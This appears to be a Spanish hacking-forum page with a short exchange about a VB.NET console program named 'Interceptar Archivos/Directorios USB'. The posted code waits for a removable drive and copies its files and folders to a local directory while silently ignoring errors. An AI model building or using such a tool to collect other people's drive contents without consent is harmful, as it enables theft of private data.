Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Cita de: $Edu$ en 11 Abril 2012, 19:29 PM
Tienes que poner un DoEvents en el bucle While Ruta_USB = Nothing que sino consume memoria o no deja hacer otras cosas, por lo menos yo me doy cuenta de estas cosas por mi computadora de *****
Es algo de Aplication.DoEvents(); algo asi, busca en google, aunque talvez solo se te olvido.
Despues yo haria una funcion sola, no 2, pero eso es a gusto xD
Lastima que sea dependiente, por el problema del .net, pero desde windows 7 ya trae instalado el framework 4 no? si es el 3.5 el que ya trae instalado entonces podes tratar de compilar siempre con esa version mientras te deje, asi estas mas seguro que funcionara.
Gracias por el consejo, ya me pasa en las máquinas virtuales que tengo que instalar el 4.0 siempre que trasteo con aplicaciones.
Imports Microsoft.VisualBasic.FileIO
Module Interceptar
Private Sub Interceptar_Archivos(ByVal Ruta_USB As String)
Dim Archivos As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetFiles(Ruta_USB)
For Each Ruta_Archivo As String In Archivos
Dim Archivo As String = Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1)
Console.WriteLine(Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1))
FileSystem.CopyFile(Ruta_Archivo, CurDir() & "\Carpeta\" & Archivo)
Next
End Sub
Private Sub Interceptar_Carpetas(ByVal Ruta_USB As String)
Dim Directorios As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetDirectories(Ruta_USB)
For Each Ruta_Directorio As String In Directorios
Console.WriteLine(Ruta_Directorio)
Dim Directorio As String = Ruta_Directorio.Substring(Ruta_Directorio.LastIndexOf("\"))
FileSystem.CreateDirectory(CurDir() + Directorio)
FileSystem.CopyDirectory(Ruta_Directorio, CurDir() + Directorio)
Next
End Sub
Sub Main()
Console.WriteLine("--Interceptar Archivos/Directorios USB--")
Dim Ruta_USB As String = Nothing
While Ruta_USB = Nothing
For Each drive In FileSystem.Drives
If drive.IsReady = True And drive.DriveType = IO.DriveType.Removable Then
Console.WriteLine("Se encontro un dispositivo USB")
Ruta_USB = drive.Name
Console.WriteLine(drive.Name)
Try
Interceptar_Archivos(Ruta_USB)
Interceptar_Carpetas(Ruta_USB)
Catch ex As Exception
End Try
End If
Next
End While
Console.Read()
End Sub
End Module